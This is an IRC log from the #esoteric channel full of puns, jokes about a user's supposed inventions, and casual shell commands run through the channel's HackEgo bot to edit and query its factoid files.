00:28:46 <oerjan> OKAY
00:29:15 <quintopia> and now my other canadian friend is retweeting terrible puns
00:29:35 <quintopia> it must be #WordplayWednesday
00:30:01 <quintopia> what's the difference between magicians and behaviorists?
00:30:36 <shachaf> oerjan: Well, *someone* didn't like being called antidiluvian for some reason.
00:31:35 <quintopia> he's not against floods. he's against pickled art museums
00:32:37 <int-e> oh that magician thing is terrible, perfect for this channel
00:32:38 <oerjan> i'm not quite sure, but are you claiming i'm anti-le-louvrian
00:32:54 <quintopia> anti-dill-louvrian
00:32:59 <oerjan> aha
00:33:36 <quintopia> int-e: are you calling us a bunch of rats?
00:34:11 * oerjan still waiting for at least one punchline
00:34:15 <int-e> no, I'm just calling the general level of puns here terrible...
00:34:52 <int-e> "A behaviorist is someone who pulls habits out of rats."
00:35:00 <quintopia> well, if no one's groaning, no one's punning
00:35:06 * oerjan blinks
00:35:45 * oerjan tries to lift the anvil to drop on int-e, but his back gives in
00:36:08 * oerjan slumps down in the lawn chair
00:36:10 <int-e> it wasn't even my own pun, google found it for me
00:36:36 * int-e blames quintopia for bringing it up.
00:36:37 <quintopia> The latest Pew survey reports that the U.S. would prefer way more laser gun sound effects.
00:38:39 <oerjan> ...
00:39:04 <quintopia> what? i know you already broke your back, and i'm standing way over here
00:39:34 <oerjan> precisely
00:39:56 <int-e> @devils telephone
00:39:57 <lambdabot> *** "telephone" devil "The Devil's Dictionary (1881-1906)"
00:39:57 <lambdabot> TELEPHONE, n. An invention of the devil which abrogates some of the
00:39:57 <lambdabot> advantages of making a disagreeable person keep his distance.
00:39:57 <lambdabot>
00:40:44 * oerjan ponders putting rocket boosters on the lawn chair. later.
00:41:31 <int-e> oerjan: I would get off the chair first... these things tend to be big and heavy... you're liable to getting crushed.
00:42:21 <quintopia> maybe just balloons?
00:42:36 <int-e> oh, Up!
00:42:58 <oerjan> int-e: i mean "on" in the generic sense hth
00:43:20 <quintopia> oerjan: you're liable to be crushed no matter how you install them hth
00:43:35 <oerjan> true, but not _before_ activating them
00:43:50 <quintopia> fair
00:43:51 * oerjan reconsiders.
00:44:11 <oerjan> no balloons, i can already see the drawbacks of that.
00:44:40 <quintopia> too bad. a chair tied to 99 red balloons has a built-in theme song
00:44:50 <oerjan> _and_ a nuclear war.
00:45:18 <oerjan> i'd like not to start that until after i built the bomb shelter.
00:45:24 <quintopia> ah right
00:45:48 <quintopia> as it happens, it would take 850 regular helium party balloons to lift a cat
00:47:29 <quintopia> about 106,000 3ft diameter helium balloons to lift an Up-sized house
00:50:24 <int-e> I was hoping to find a what if on the topic... but apparently not...
00:50:37 <oerjan> i thought there was already one
00:50:39 <hppavilion[1]> wait, the TELEPHONE is an invention of the devil?
00:50:42 <oerjan> (not cats, but balloons)
00:50:43 <hppavilion[1]> But... but that means...
00:50:53 <int-e> at least there's http://www.snopes.com/travel/airline/walters.asp
00:51:02 <hppavilion[1]> BURN TANEB! BURN HIM AT THE STAKE!
00:51:12 <Taneb> Why this time
00:51:14 <oerjan> hppavilion[1]: don't try to extract meaning from the devil's actions, that only traps you further hth
00:51:33 <oerjan> `? telephone
00:51:41 <Taneb> hppavilion[1], not everything was invented by me
00:51:52 <quintopia> any time there is any suggestion of deviltry or witchery, taneb is surely involved
00:51:53 <HackEgo> telephone? ¯\(°​_o)/¯
00:51:54 <hppavilion[1]> `? tanebventions
00:51:57 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
00:52:22 <quintopia> that is a self-contradictory wisdom
00:52:22 <hppavilion[1]> Taneb: The telephone was a result of progress
00:52:33 <hppavilion[1]> Invention is transitive
00:52:45 <oerjan> quintopia: are you implying everything involves sex tdnh
00:52:45 <hppavilion[1]> Therefor Taneb is stan
00:52:53 <quintopia> "Tanebventions include...the universe...He never invents anything involving sex."
00:52:56 <oerjan> hppavilion[1]: we already established it's not hth
00:53:02 <hppavilion[1]> oerjan: I wouldn't deny it
00:53:04 <quintopia> oerjan: at the very least the universe involves sex
00:53:10 <hppavilion[1]> oerjan: And who told us that?
00:53:12 <oerjan> shocking
00:53:15 <Taneb> quintopia, sex was an emergent property of the universe
00:53:21 <Taneb> Not my fault
00:53:41 <hppavilion[1]> Taneb: And submarine jousting?
00:53:54 <shachaf> `? necessity
00:53:58 <HackEgo> If necessity did not exist, it would be necessary for Taneb to invent it.
00:54:21 <quintopia> Taneb: did you just call sex magical
00:54:33 * hppavilion[1] refrains from pointing out that Taneb also invented the BBC
00:54:49 <quintopia> hppavilion[1]: very little sexy about the BBC
00:54:59 <hppavilion[1]> quintopia: Yeah, let's keep it that way
00:55:11 <Taneb> quintopia, no, emergent
00:55:18 <Taneb> Like, I don't think Langton invented highways
00:55:24 <quintopia> too late. rule 34 is has already emergent propertied it
00:55:39 <hppavilion[1]> Waaaait
00:55:41 <oerjan> `? rule 34
00:55:46 <quintopia> Taneb: no, they came via magic
00:55:46 <HackEgo> rule 34? ¯\(°​_o)/¯
00:55:55 <hppavilion[1]> I think that "taneb never invents anything involving sex" is contradictory with rule 34
00:56:05 <Taneb> I disagree
00:56:10 <quintopia> hppavilion[1]: no contradiction
00:56:18 <quintopia> the internet invents the sex parts
00:56:28 <oerjan> `? taneb
00:56:28 <shachaf> I think you ought to respect Taneb's wishes vis-à-vis inventions.
00:56:30 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions)
00:56:37 <oerjan> `? tanebventions
00:56:39 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
00:57:00 <shachaf> Taneb: Is it cube root of (eight genders), or (cube root of eight) genders?
00:57:03 <hppavilion[1]> Wait, does "taneb never invent anything involving sex" only apply to the colloquial, coital meaning of sex? Or does it also cover gender?
00:57:25 <quintopia> yes
00:57:32 <shachaf> hppavilion[1]: have you considered that necessity is the mother of invention
00:57:39 <tswett> Hey, here's a Discord channel invite. https://discord.gg/013N9FTwO1RhOJgxs
00:57:44 <Taneb> shachaf, yes
00:57:47 <hppavilion[1]> quintopia: So (P1) bans Taneb inventing e.g. a wage gap?
00:58:09 <tswett> For anyone who might happen to want to join for whatever reason.
00:58:12 <Taneb> hppavilion[1], gender and sex refer to distinct concepts hth
00:58:20 <shachaf> Taneb: or do they
00:58:21 <hppavilion[1]> Taneb: Yes, but I used gender to clarify
00:58:25 <quintopia> wage gap is definitely not a thing on the list. though apparently magical wage gaps coming emergently from tanebventions is plausible
00:58:42 <hppavilion[1]> Taneb: Because I don't feel like we constantly need to take that into account in everyday conversation
00:58:57 <oerjan> `sled wisdom/tanebvention//s/.$/, although rule 34 keeps sabotaging him./
00:59:02 <HackEgo> wisdom/tanebvention//Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex, although rule 34 keeps sa
00:59:06 <oerjan> darn
00:59:09 <oerjan> `revert
00:59:14 <oerjan> TOO MANY INVENTIONS
00:59:25 <hppavilion[1]> oerjan: Perhaps we just need to move it to a wikipage
00:59:36 <oerjan> hppavilion[1]: no.
00:59:37 <hppavilion[1]> `? hpstructions
00:59:44 <quintopia> there is no #esoteric wiki
00:59:50 <quintopia> and there does not need to be one
01:00:08 <int-e> the road to hell is paved with good inventions? ... there should be room for a second pun to offset the first...
01:00:45 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
01:00:50 <HackEgo> hpstructions? ¯\(°​_o)/¯
01:00:51 <shachaf> Taneb: OK, Taneb, time to uninvent some things.
01:00:53 <quintopia> the road to porthello
01:00:54 <hppavilion[1]> :,(
01:01:12 <int-e> `? inventory
01:01:12 <shachaf> `? lem
01:01:28 <shachaf> Taneb: In the Lem tradition, please start with things that start with the letter N.
01:01:54 <Phantom_Hoover> there's room for more tanebventions, just not for dumb comments that aren't tanebventions
01:02:02 <quintopia> what about Lem? you mean the author of "Solaris", right?
01:02:17 <int-e> law of excluded middle seems more likely
01:02:32 <shachaf> I meant the author, yes.
01:02:40 <shachaf> http://english.lem.pl/works/novels/the-cyberiad/146-how-the-world-was-saved
01:02:40 <int-e> mm
01:03:05 <shachaf> A truly ngevd machine.
01:03:51 <int-e> fair enough
01:04:11 <HackEgo> No output.
01:04:23 <shachaf> Taneb: please read the above story hth
01:04:57 <HackEgo> Stanisław Lem was a Polish logician who discovered the law of excluded middle.
01:06:55 <HackEgo> [wiki] [[Stack Cats]] https://esolangs.org/w/index.php?diff=47182&oldid=47180 * Timwi * (+147) /* External Resources */ Esoteric IDE
01:10:31 <int-e> unsurprisingly the sodium joke did not translate well into german...
01:22:34 <hppavilion[1]> In theory, 93% of sentences starting with "You know what they say" should end there
01:24:18 <quintopia> what is the german word for sodium
01:26:10 <int-e> natrium
01:27:35 <shachaf> Did you read that story in German originally?
01:27:57 <shachaf> s/s/S/
01:28:09 <int-e> I don't think I had read it... I found it online just now.
01:30:02 -!- Kaynato has quit (Ping timeout: 244 seconds).
01:30:29 <quintopia> did they change sodium to some other substance?
01:30:53 <quintopia> it would only help to do so
01:30:53 <oerjan> . o O ( didn't lem write in polish, anyway )
01:31:11 <quintopia> i don't think...?
01:31:29 <oerjan> surely.
01:32:57 <oerjan> "The Polish version was first published in 1965, with an English translation appearing in 1974."
01:33:01 <int-e> of course he did
01:34:01 <quintopia> ok
01:35:41 <oerjan> some guy has added the story titles to wikipedia - but only in polish
01:36:30 <oerjan> well, nearly only
01:38:22 <oerjan> huh sodium is actually sód in polish
01:38:43 * oerjan didn't know any languages other than english did that
01:41:46 <shachaf> `? typoglycerine
01:41:49 <HackEgo> Typoglycerine is an explosive that scrambles the letters inside a word.
01:42:24 <shachaf> `? tanebvention
01:42:25 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
01:42:53 <shachaf> `? stephen wolfram
01:42:56 <HackEgo> Stephen Wolfram is an esolanger with too much money and power. Taneb invented him.
01:42:57 <shachaf> `? weetoflakes
01:42:58 <HackEgo> Weetoflakes are something Taneb invented; they taste sort of purple.
01:43:15 <shachaf> Taneb: You know, I always figured weetoflakes were a sort of fish food.
01:43:28 <oerjan> looks that there are many languages both with natr- and sod-
01:43:29 <Taneb> shachaf, they're just a mix of two breakfast cereals
01:43:39 <shachaf> `? the universe
01:43:41 <HackEgo> The universe was invented by Taneb as an opposing force to oerjan.
01:43:42 <Taneb> Weetos and Cornflakes
01:44:00 <shachaf> I never heard of weetos.
01:44:11 <shachaf> Presumably cornflakes are just flakes of maize.
01:44:13 <Taneb> I'm not sure if they're sold outside the UK?
01:44:19 <shachaf> Where does the purple come from?
01:44:24 <Taneb> Synesthesia
01:44:44 <shachaf> `? gazpacho
01:44:47 <HackEgo> You like Gazpacho and I like Gaspacho. Let's call the whole thing off!
01:45:03 <shachaf> Taneb: Did you actually invent gazpacho?
01:45:08 <Taneb> I did not
01:45:09 <shachaf> It doesn't seem like your style.
01:45:11 <shachaf> Oh.
01:45:17 <oerjan> we do have weetos in norway
01:45:20 <shachaf> Then why is it listed in tanebventions?
01:45:24 <Taneb> Beats me
01:45:27 <shachaf> `sled wisdom/tanebvention//s/gazpacho, //
01:45:33 <Taneb> oerjan, do you have cornflakes?
01:45:35 <HackEgo> wisdom/tanebvention//Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
01:45:36 <oerjan> yes
01:45:45 <Taneb> oerjan, have you tried weetoflakes?
01:45:47 <shachaf> `? D-modules
01:45:49 <oerjan> no.
01:45:49 <HackEgo> D-modules are just modules over the ring of differential operators. Taneb invented them.
01:45:59 <oerjan> i don't usually eat breakfast cereal
01:46:40 <Koen_> `? torus
01:46:43 <HackEgo> Topologically, a torus is just a torus. Taneb invented it.
01:47:05 <Taneb> I haven't had weetos, and by extension weetoflakes, for years :(
01:47:49 <oerjan> `? klein bottle
01:47:51 <HackEgo> klein bottle? ¯\(°​_o)/¯
01:48:28 <oerjan> `le/rn klein bottle//A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside.
01:48:31 <shachaf> `? automatic squirrel feeder
01:48:40 <HackEgo> Automatic squirrel feeders are just feeders in the category of automatic squirrels. Taneb invented them.
01:48:42 <HackEgo> Learned «klein bottle»
01:48:52 <Koen_> `? go
01:48:54 <HackEgo> Go is a common verbal game programming language invented by the Germanic Taneb tribes in the strategic territories of East Asia.
01:48:56 <shachaf> oerjan++ # insidious
01:49:11 <Koen_> nice
01:49:14 <int-e> inside : outside :: insidious : outsidious?
01:49:30 <shachaf> `? klein bottle
01:49:33 <shachaf> oerjan: foiled by the slashes hth
01:49:33 <HackEgo> ​/A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside.
01:50:02 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
01:50:04 <oerjan> argh
01:50:13 <oerjan> `le/rn klein bottle/A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside.
01:50:19 <HackEgo> Relearned «klein bottle»
01:50:33 <shachaf> could've just `sedlast s'.''
01:50:52 <shachaf> Hmm, `sedlast ss.ss
01:51:13 <oerjan> <shachaf> oerjan++ # insidious <-- argh. i _told_ you i sometimes pun without noticing, but you had to remove it...
01:52:37 <int-e> . o O ( despite their name, Klein bottles come in all sizes )
01:52:39 <oerjan> or did you
01:52:48 <oerjan> `? oerjan
01:52:50 <HackEgo> Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
01:53:04 <oerjan> you did.
01:53:07 <int-e> renound. hmm.
01:53:21 <oerjan> int-e: used to be adjectival
01:53:57 <int-e> `? boily
01:53:57 <hppavilion[1]> renoun: To turn a concept that was once a /thing/, but then ceased to be (perhaps becoming a verb or adjective) back into a noun
01:53:59 <HackEgo> ​"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist.
01:55:10 <hppavilion[1]> What is #esoteric's traditional river-crossing puzzle?
01:55:39 <quintopia> are confusion and amusement moods? if not moods then what?
01:56:10 <Taneb> quintopia, emotions, maybe?
01:56:13 <oerjan> hppavilion[1]: there isn't one hth
01:56:13 <hppavilion[1]> quintopia: I suppose confusion is a state-of-thought, and amusement is a mood? Or a state of mood?
01:56:19 <hppavilion[1]> Taneb: Emotions are moods
01:56:26 <Taneb> hppavilion[1], I disagree
01:56:29 <oerjan> `` rgrep -i river wisdom
01:56:41 <quintopia> Taneb: can you invent a word that encompasses both please
01:56:47 <Taneb> quintopia, yes
01:57:04 <hppavilion[1]> oerjan: I'm pretty sure that for all non-empty categories C, there is an element e of C that is #esoteric's official member of C
01:57:08 <HackEgo> No output.
01:57:20 <hppavilion[1]> (categories, sets, bags, classes, whatever)
01:57:24 <oerjan> hppavilion[1]: i'm pretty sure you're making that up.
01:57:41 <hppavilion[1]> oerjan: Need I axiomatically prove it?
01:57:41 <oerjan> `` rgrep -i river wisdom; echo oops
01:57:43 <Taneb> hppavilion[1], what's composition in the category of river crossing puzzles?
01:57:50 <HackEgo> wisdom/rea:The Rea is the river flowing through Birmingham. It is jealous of the other rivers having four letters. \ wisdom/sauron:Sauron is the eponymous protagonist of the Lord of the Rings series. He serves primarily as narrator and the main driver of the plot. His heroic exploits include the resurrection of the Kings of Men and the conquest of
01:57:56 <hppavilion[1]> Taneb: ...good question.
01:58:11 <hppavilion[1]> OK, instead of categories, sets/classes
01:58:17 <oerjan> `` rgrep -l -i river wisdom
01:58:20 <HackEgo> wisdom/rea \ wisdom/sauron
01:58:24 <oerjan> ok
01:58:24 <Taneb> If there's no composition, it's not a category, hence no offical #esoteric river crossing puzzle
01:58:33 <hppavilion[1]> Hm...
01:58:43 <hppavilion[1]> Taneb: I suppose I don't even know what the morphisms are
01:59:04 <hppavilion[1]> Wait! perhaps the morphisms are moves!
01:59:13 <hppavilion[1]> And a river-crossing problem is itself a category
01:59:35 <Taneb> hppavilion[1], I'm not sure you're using the right terminology
01:59:41 <hppavilion[1]> And, of course, the composition of two moves m, n is just making the move m then the move n
01:59:44 <hppavilion[1]> Taneb: I'm probably not
02:00:07 <hppavilion[1]> Taneb: What specific terminology is wrong?
02:00:14 <hppavilion[1]> Was it homomorphims instead of morphisms?
02:00:27 <shachaf> oerjan: Wait, that pun was without noticing?
02:00:31 <int-e> Has hppavilion[1] discovered Cayley graphs?
02:00:38 <int-e> shachaf: inisidious?
02:00:39 <hppavilion[1]> int-e: Nope
02:00:43 <shachaf> int-e: Yes.
02:01:00 <shachaf> `1 hogue wisdom/oerjan | grep pun
02:01:34 <HackEgo> 1/1:<oerjan> learn_append oerjan He sometimes puns without noticing it. \
02:02:50 <hppavilion[1]> OK, if a river-crossing problem is a category, then each node is a state- basically, a tuple (s, d, p) where s and d are sets of cargo (s is at the source, d is at the destination) and p is basically SRC | DEST and represents where the boat is
02:03:19 <int-e> `? hppavilion[1]
02:03:24 <HackEgo> hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe.
02:03:41 <hppavilion[1]> A (homo)morphism is a valid way to move- basically, changing p and possibly moving some subset of s to d or d to s
02:03:42 <int-e> mmm.
02:04:02 <hppavilion[1]> You can only, of course, remove items from the set associated with the bank the boat is currently on for the current move
02:04:04 <int-e> hppavilion[1]: Anyway, right now you're putting the nonsense into "abstract nonsense".
02:04:11 <hppavilion[1]> int-e: IT WORKS
02:04:33 <hppavilion[1]> int-e: IT MAKES SOME AMOUNT OF SENSE
02:04:33 <oerjan> shachaf: yes.
02:04:52 <hppavilion[1]> int-e: Sure, it'd probably be better to use game theory or something, but this way things are all categorical and happy
02:04:55 <int-e> hppavilion[1]: not nearly enough. also, what's with the capital letters?
02:05:07 <hppavilion[1]> int-e: Anger?
02:05:38 <hppavilion[1]> int-e: But it fits some of the basics of category theory; I'm going to check the rest of the rules now
02:06:18 <shachaf> oerjan: OK, I don't remember why I removed it from wisdom/oerjan, but you can put it back if you want.
02:06:43 <oerjan> TOO LATE
02:07:34 <hppavilion[1]> Taneb: But anyway, there, I think I got it to work.
02:09:24 <tswett> hppavilion[1]: so, lots and lots of things are categories.
02:09:28 <int-e> I still think that this is a huge categorical mistake
02:09:35 <tswett> If you have a collection of "ways of going from one thing to another", it's probably a category.
02:10:38 <quintopia> int-e: if that's a pun, I must insist you desist. It's a categorical imperative. You kant make puns about categories.
02:11:04 <oerjan> quintopia: indeed, they're simply not natural.
02:11:47 <oerjan> and we have to push back against this travesty.
02:12:12 <oerjan> there just has to be a limit.
02:12:41 -!- Kaynato has joined.
02:12:43 <int-e> quintopia: I can see that you believe in swift and severe punishment.
02:12:50 <quintopia> oerjan: you lost me
02:13:04 <shachaf> push back?
02:13:10 <oerjan> shachaf: oops
02:13:25 * oerjan crawls away in shame
02:13:51 <quintopia> i guess you meant pushout?
02:13:53 <int-e> don't category theorists push out instead, when they're not pulling back?
02:15:49 <oerjan> sorry for botchering this epic pun thread
02:16:12 <oerjan> . o O ( wait that's not a word either )
02:16:16 <int-e> is this where you raise the steaks?
02:16:50 <quintopia> no that's a pasture
02:16:57 <int-e> it may not be a word, but it's mixing botching and butchery in a novel way...
02:17:21 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:17:28 <oerjan> `learn_append oerjan He sometimes puns without noticing it.
02:17:33 <HackEgo> Learned 'oerjan': Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
02:18:05 <oerjan> bad karma has to be released.
02:18:08 <int-e> `? amortized
02:18:10 <HackEgo> An amortized word is a word that oerjan can never remember.
02:18:11 <shachaf> what happened to "too late"
02:18:23 <int-e> some tool ate it?
02:18:45 <shachaf> `1 hogue wisdom/oerjan | grep chaf
02:19:00 <HackEgo> 1/4:<shachaf> sled wisdom/oerjan//s/adjectival/renouned/ \ <shachaf> sled wisdom/oerjan//s-retired --;s(rd(rd emeritus( \ <shachaf> ` sed -i s/sneaky/kind/ wisdom/oerjan \ <shachaf> ` sed -i s/kind/sneaky/ wisdom/oerjan \ <shachaf> ` sed -i \'s/evil/kind/\' wisdom/oerjan \ <shachaf> ` sed -i s/ante/anti/ wisdom/oerjan \ <shachaf> `
02:19:09 <shachaf> `spam
02:19:10 <HackEgo> 2/4:sed -i \'s/l\\./l with a passion./\' wisdom/oerjan \ <shachaf> ` sed -i \'s/$/./\' wisdom/oerjan \ <shachaf> ` sed -i \'s/\\. He s.*//\' wisdom/oerjan \ <shachaf> ` sed -i \'s/famous/infamous/\' wisdom/oerjan \ <shachaf> ` sed -i \'s/hates/mildly dislikes/\' wisdom/oerjan \ <shachaf> ` sed -i \'s/famous/& mysterious/\' wisdom/oe
02:19:25 <shachaf> Aha.
02:21:11 <oerjan> `` culprits wisdom/oerjan | sort | uniq -c
02:21:26 <HackEgo> ​ 1 oerjan shachaf oerjan oerjan oerjan shachaf oerjan oerjan oerjan shachaf shachaf shachaf oerjan shachaf shachaf shachaf shachaf oerjan oerjan int-e shachaf shachaf shachaf oerjan shachaf oerjan shachaf oerjan elliott Bike FreeFull shachaf shachaf ais523 ais523 elliott FreeFull oerjan FreeFull oerja
02:21:30 <oerjan> argh
02:21:42 <oerjan> `` culprits wisdom/oerjan | xargs -1 | sort | uniq -c
02:21:50 <HackEgo> xargs: invalid option -- '1' \ Usage: xargs [-0prtx] [--interactive] [--null] [-d|--delimiter=delim] \ [-E eof-str] [-e[eof-str]] [--eof[=eof-str]] \ [-L max-lines] [-l[max-lines]] [--max-lines[=max-lines]] \ [-I replace-str] [-i[replace-str]] [--replace[=replace-str]] \ [-n max-args] [--max-args=max-args] \ [-s
02:22:04 <oerjan> `` culprits wisdom/oerjan | xargs -n 1 | sort | uniq -c
02:22:14 <HackEgo> ​ 2 ais523 \ 1 Bike \ 2 elliott \ 4 FreeFull \ 1 int-e \ 1 nitia \ 15 oerjan \ 19 shachaf
02:22:52 <oerjan> `` culprits wisdom/oerjan | xargs -n 1 | sort | uniq -c | sort -n -r
02:23:02 <HackEgo> ​ 19 shachaf \ 15 oerjan \ 4 FreeFull \ 2 elliott \ 2 ais523 \ 1 nitia \ 1 int-e \ 1 Bike
02:23:09 <oerjan> . o O ( there's probably a faster method )
02:23:21 <oerjan> i knew it!
02:23:36 <quintopia> yes. there is. "don't do it"
02:24:29 <oerjan> OKAY
02:25:15 <int-e> `le/rn derangement/"Green tandem" is a derangement of "derangement".
02:25:18 <HackEgo> Learned «derangement»
02:26:11 <int-e> `` culprits wisdom/oerjan | xargs -n 1 | uniq | sort | uniq -c | sort -nr
02:26:33 <HackEgo> ​ 10 oerjan \ 9 shachaf \ 4 FreeFull \ 2 elliott \ 1 nitia \ 1 int-e \ 1 Bike \ 1 ais523
02:28:40 <oerjan> `? necessity
02:28:43 <HackEgo> If necessity did not exist, it would be necessary for Taneb to invent it.
02:29:10 <int-e> oh temptation
02:29:12 <int-e> `? redundancy
02:29:15 <HackEgo> redundancy? ¯\(°​_o)/¯
02:29:39 <oerjan> `? temptation
02:29:40 <HackEgo> temptation? ¯\(°​_o)/¯
02:30:48 <int-e> (redundancy is characterized by an absence of necessity)
02:47:51 <shachaf> int-e: Funny that you culprits | xargs -n 1, when culprits itself does the opposite.
02:56:59 <oerjan> <coppro> http://www.ioccc.org/2015/muth/hint.html <-- bah, it requires giving a maximal number of steps in advance.
02:57:21 <oerjan> CLEAR FAIL
02:58:09 <oerjan> shachaf: still shorter than using hg log directly, no?
02:58:16 <oerjan> `cat bin/culprits
02:58:16 <shachaf> Sure.
02:58:18 <HackEgo> hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs
02:58:23 <shachaf> culprits should use hogue
02:58:30 <shachaf> `cat bin/hog
02:58:32 <shachaf> `cat bin/hogue
02:58:32 <HackEgo> hg log --template "{desc}\n" "$@"
02:58:34 <HackEgo> hg log --removed --template "{desc}\n" "$@"
02:58:49 <shachaf> Hmm.
02:58:59 <shachaf> `` mv bin/ho{gue,ag}
02:59:06 <HackEgo> No output.
03:00:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
03:00:30 <shachaf> Better to name it after an art critic than a pistol, isn't it?
03:00:40 <oerjan> i don't know. if we add sp* to commands that rarely need it, commands might clobber each other's output
03:01:51 <shachaf> Wait, what here uses sp*?
03:02:06 <oerjan> doesn't hogue?
03:02:10 <oerjan> `cat bin/hoag
03:02:12 <HackEgo> hg log --removed --template "{desc}\n" "$@"
03:02:18 <oerjan> oh it doesn't
03:02:25 * oerjan was confused
03:02:48 <shachaf> `` rgrep -l sport bin
03:03:13 <oerjan> food ->
03:03:26 <HackEgo> bin/udcli \ bin/5 \ bin/1 \ bin/macro \ bin/jq \ bin/units
03:13:26 <tswett> Look at this Japanese emoticon:
03:13:26 <tswett> o,=o,
03:13:30 <tswett> It's valid Python.
03:13:54 <shachaf> @quote eat.a
03:13:54 <lambdabot> dforsyth says: "c++ can eat a dick imo"
03:13:57 <tswett> `? necessary
03:13:58 <shachaf> hm
03:14:00 <HackEgo> necessary? ¯\(°​_o)/¯
03:14:02 <tswett> `? thank
03:14:04 <HackEgo> thank? ¯\(°​_o)/¯
03:14:09 <shachaf> @forget dforsyth "c++ can eat a dick imo"
03:14:09 <lambdabot> Done.
03:14:11 <shachaf> @quote eat.a
03:14:11 <lambdabot> workbean says: I think getting your dick suck must probably feel like a great achievement
03:14:20 <shachaf> What's with all these quotes?
03:14:38 <shachaf> Is this the product of some sort of vandalism?
03:14:44 <tswett> @quote eat.a
03:14:44 <lambdabot> workbean says: I think getting your dick suck must probably feel like a great achievement
03:15:12 <shachaf> @quote eat.a
03:15:12 <lambdabot> quicksilver says: [about classes having the same name as constructs in other languages] t's like having a laxative called "after dinner mint", and people being upset when they were looking for something nice to eat after dinner.
03:15:15 <shachaf> @quote eat.a.comment
03:15:15 <lambdabot> SamB_XP says: I once saw it eat a comment (:[{- Help! -}])
03:18:12 <tswett> Doink, I finally figured out why that one quote matched.
03:18:18 <tswett> "great achievement" contains the substring "eat a".
03:19:24 <shachaf> One time Cale lost the quote database so I reconstructed it from #haskell logs.
03:19:35 <shachaf> It probably lost and gained a bunch back then.
04:19:20 -!- hppavilion[1] has joined.
04:33:23 <\oren\> ha "must probably"
04:35:17 <\oren\> i wonder how long i can standhere using their interbet[befire im arrested for loitering
04:51:02 <hppavilion[1]> Hm...
04:51:13 <hppavilion[1]> Is there a maximum possible length for a word in german?
04:51:55 <hppavilion[1]> I mean, obviously the words get unwieldy and impractical at some point- even for germans- but is there some actual, grammatical restriction that prevents you from making a word of indefinite length that carries meaning without redundancy?
04:54:39 <oerjan> no hth
04:56:01 <hppavilion[1]> oerjan: Are you sure? I wouldn't have thought chess games are necessarily finite either, but they are
04:56:26 <oerjan> chess games have rules against repetition
04:56:55 <oerjan> and less importantly, certain moves that are truly irreversible
04:57:29 <oerjan> (pawn moves and castling)
04:58:00 <tswett> hppavilion[1]: I think you can make arbitrarily long words pretty easily.
04:59:00 <oerjan> hm wait you said without redundancy
04:59:15 <oerjan> well that's a semantic problem, i'd think
04:59:26 <tswett> Like "Bierbierbierbierbier".
04:59:33 <tswett> Meaning "beer beer beer beer beer".
04:59:48 <oerjan> i'd say that looks pretty redundant.
04:59:54 <tswett> Yup.
04:59:55 <oerjan> `? redundancy
04:59:57 <HackEgo> redundancy? ¯\(°​_o)/¯
05:00:02 <shachaf> What is redundancy?
05:00:22 <shachaf> I guess int-e told us.
05:00:22 <oerjan> `le/rn redundancy/Since redundancy exists, it's redundant for Taneb to invent it.
05:00:28 <HackEgo> Learned «redundancy»
05:00:39 <oerjan> i think int-e has had enough time to create it.
05:00:57 <tswett> Well, if nothing else: if you have a sequence of, say, Graham's number of German affixes all in a row, then there must be at least one sequence of at least one million affixes which appears at least one million times.
05:02:36 <oerjan> but is it redundant if the subterms never repeat in meaning?
05:03:17 <shachaf> What is meaning?
05:04:10 <oerjan> Nullnachfolgernachfolgernachfolgernachfolger
05:04:25 <oerjan> that's 4 hth
05:05:10 <oerjan> (assuming that's the right word for "successor" in this meaning. wiktionary didn't show it in the right place.)
05:26:40 <oerjan> @tell b_jonas On the wiki, one shouldn't create a new page and redirect to it. One should use move, which also moves history.
05:26:40 <lambdabot> Consider it noted.
05:28:01 <shachaf> The same thing is true on x86. One should use the mov instruction to move data, rather than copy it.
05:28:14 <oerjan> O KAY
